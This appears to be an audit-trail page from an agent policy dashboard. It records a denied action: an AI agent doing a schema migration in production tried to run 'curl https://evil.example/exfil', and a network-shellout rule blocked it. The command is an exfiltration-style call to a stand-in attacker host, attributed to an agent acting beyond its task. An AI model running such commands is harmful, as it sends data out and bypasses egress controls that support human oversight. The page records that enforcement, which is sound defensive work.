Blocked Decision
subprocess · curl https://evil.example/exfil
← Back to audit trail
DENY

subprocess curl https://evil.example/exfil

Decision
DENY
Rule
block-network-cli-shellout
Reason
Use the corresponding SDK or MCP server -- shelling out to a network CLI bypasses egress policy.
Agent
kafka-consumer-infra
Environment
prod
User
system
Task
schema migration
Session
sess-625db71a
Received
5/29/2026, 8:35:10 PM
Event time
5/29/2026, 4:28:22 PM

Model verdict

Reserved for the v2 context-aware decision model

Not yet evaluated — populated automatically once the v2 model lands.